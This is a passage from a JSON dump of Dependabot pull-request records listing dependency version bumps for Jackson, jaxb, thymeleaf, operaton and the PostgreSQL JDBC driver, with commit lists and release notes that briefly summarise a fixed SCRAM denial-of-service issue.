view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/8f622c5cf177509989eaa154e4cb86d64b28f5a6\"\u003e\u003ccode\u003e8f622c5\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd4d6b2baf575fd84419368717ddf12eb21fc8d7\"\u003e\u003ccode\u003ecd4d6b2\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/03458823cc3cf78f1ea19cfe5f045475628ee834\"\u003e\u003ccode\u003e0345882\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/a7a5562c0215da3e1297e4825fc5fc4d4f237c68\"\u003e\u003ccode\u003ea7a5562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd647ea2cf15ee7740f1e3eb447335f667dd3a7a\"\u003e\u003ccode\u003ecd647ea\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ac2f771ad5fdceb60f908352c4dee2ffa498146\"\u003e\u003ccode\u003e0ac2f77\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.21.2...jackson-core-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.datatype:jackson-datatype-jsr310` from 2.21.2 to 2.21.3\n\nUpdates `com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/3290598ecbbd8bbb0b34a35a7361ff54e1050463\"\u003e\u003ccode\u003e3290598\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/ff548e5773b62aef719c2104ecfccbe70dadcedc\"\u003e\u003ccode\u003eff548e5\u003c/code\u003e\u003c/a\u003e undo version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/1c5c59c5a3fc09a17d1027879ebca459842cda8e\"\u003e\u003ccode\u003e1c5c59c\u003c/code\u003e\u003c/a\u003e re-do release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/64b246c236e6d424eb4469131bbd76c3056dc2a3\"\u003e\u003ccode\u003e64b246c\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/38be1635960bed69c4f52bfbbdd3297447bd7506\"\u003e\u003ccode\u003e38be163\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/b3506d8b74b64a5f7e3f5884df8e5246f1c03bf0\"\u003e\u003ccode\u003eb3506d8\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/2f51aa35660e9af07415c54b6bc8185622d91288\"\u003e\u003ccode\u003e2f51aa3\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/88adb497be38f7b4de3cbcd49ec8d641933214ce\"\u003e\u003ccode\u003e88adb49\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/5a89cc181bf92f40730a6d297dbb32e2cfd29300\"\u003e\u003ccode\u003e5a89cc1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/6cad130d2e9f61aff310212ab6fb5b03a09f720a\"\u003e\u003ccode\u003e6cad130\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.18.7\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-modules-base/compare/jackson-modules-base-2.21.2...jackson-modules-base-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-yaml` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ccfcc9560ff6ba28a33a211108ec9c0f39822348\"\u003e\u003ccode\u003eccfcc95\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/5e8161712c7e6eead4a27a0ef46bc3a27a67c02d\"\u003e\u003ccode\u003e5e81617\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/52ab617b41276173b0487b861b85fdd3a8b9e854\"\u003e\u003ccode\u003e52ab617\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/84f99f7b0de01f25add5213086ccbabbf458a8f9\"\u003e\u003ccode\u003e84f99f7\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/4fe54cb049fd193bb7cbc4f8b424846219a3e1e0\"\u003e\u003ccode\u003e4fe54cb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/f18c5784b0e34918d3f81d96609dc244b9354fff\"\u003e\u003ccode\u003ef18c578\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/8db1032d07c67320b77c007eaefff5a12e9263b3\"\u003e\u003ccode\u003e8db1032\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/7afb263fcdc61712fd3ce5268cbc51e29d6d752b\"\u003e\u003ccode\u003e7afb263\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ec50f24c4f0f5efc7f417f6cfcd5baac33913954\"\u003e\u003ccode\u003eec50f24\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/a8bedbd71dae6d2eab6ab9bbe24517d3a00455ca\"\u003e\u003ccode\u003ea8bedbd\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/compare/jackson-dataformats-text-2.21.2...jackson-dataformats-text-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.glassfish.jaxb:jaxb-runtime` from 4.0.7 to 4.0.8\n\nUpdates `org.thymeleaf:thymeleaf` from 3.1.4.RELEASE to 3.1.5.RELEASE\n\nUpdates `org.operaton.bpm:operaton-engine` from 1.1.1 to 1.1.2\n\nUpdates `org.operaton.bpm:operaton-engine-spring` from 1.1.1 to 1.1.2\n\nUpdates `org.operaton.bpm.model:operaton-bpmn-model` from 1.1.1 to 1.1.2\n\nUpdates `org.operaton.bpm:operaton-engine-spring` from 1.1.1 to 1.1.2\n\nUpdates `org.operaton.bpm.model:operaton-bpmn-model` from 1.1.1 to 1.1.2\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/datasharingframework/dsf/pull/498","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/datasharingframework%2Fdsf/issues/498","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/498/packages"},{"uuid":"4414286447","node_id":"PR_kwDOSZFwxs7Z7hgZ","number":1,"state":"open","title":"chore(deps): bump org.postgresql:postgresql from 42.7.3 to 42.7.11 in /compatibility-tests/sdk-test-java","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-10T01:14:07.000Z","updated_at":"2026-05-10T01:14:09.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.3","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":"/compatibility-tests/sdk-test-java","ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.7.3 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca 